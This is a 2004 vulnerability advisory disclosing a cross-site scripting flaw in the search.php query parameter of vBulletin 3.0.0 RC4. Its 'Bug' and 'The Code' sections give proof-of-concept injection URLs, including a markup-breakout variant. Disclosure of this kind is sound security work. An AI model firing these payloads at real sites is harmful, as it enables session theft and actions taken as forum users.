vBulletin PHP Forum Version

[serverplan]

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Software: vBulletin PHP Forum Version
Vendor: Jelsoft Enterprises Ltd
http://www.vbulletin.com
Versions: 3.0.0 Release Candidate 4
Platforms: Unix/Windows
Bug: Cross Site Scripting Vulnerabillity
Risk: Low
Exploitation: Remote with browser
Date: 24 Jan 2004
Author: Rafel Ivgi, The-Insider
e-mail: the_insider@mail.com
web: http://theinsider.deep-ice.com

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1) Introduction
2) Bug
3) The Code

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===============
1) Introduction
===============

Cross Site Scripting attacks are the most trusted evil urls when it concerns
to forums, because
forum messages are always long and contain many parameters.
vBulletin is a very trusted forum, it is considered to be a very safe and
security validated forum.

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======
2) Bug
======

The Vulnerabillity is Cross Site Scripting. If an attacker will search the
following quert from the server:

<script>alert('XSS')</script>

OR in case you have problems:
<!-- / main error
message --></p></p></blockquote>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<scrip t>ale
rt('XSS')</script><plaintext>

OR just reffer to
http://<host>/forum/search.php?do=process&showposts=0&query=<script>al ert('X
SS')</script>

XSS appears and the server allows an attacker to inject & execute scripts.

In the words of securityfocus.com :
~~~~~~~~~~~~~~~~~~~~~~~~~~

If all of these circumstances are met, an attacker may be able to exploit
this issue
via a malicious link containing arbitrary HTML and script code as part of
the hostname.
When the malicious link is clicked by an unsuspecting user, the
attacker-supplied HTML
and script code will be executed by their web client. This will occur
because the server
will echo back the malicious hostname supplied in the client's request,
without sufficiently
escaping HTML and script code.

Attacks of this nature may make it possible for attackers to manipulate web
content or to
steal cookie-based authentication credentials. It may be possible to take
arbitrary actions as the victim user.

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===========
3) The Code
===========

http://<host>/forum/search.php?do=process&showposts=0&query=<!-- / main
error
message --></p></p></blockquote>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<scrip t>ale
rt('XSS')</script><plaintext>
http://<host>/forum/search.php?do=process&showposts=0&query=<script>al ert('X
SS')</script>

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---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Things that are unlikeable, are NOT impossible."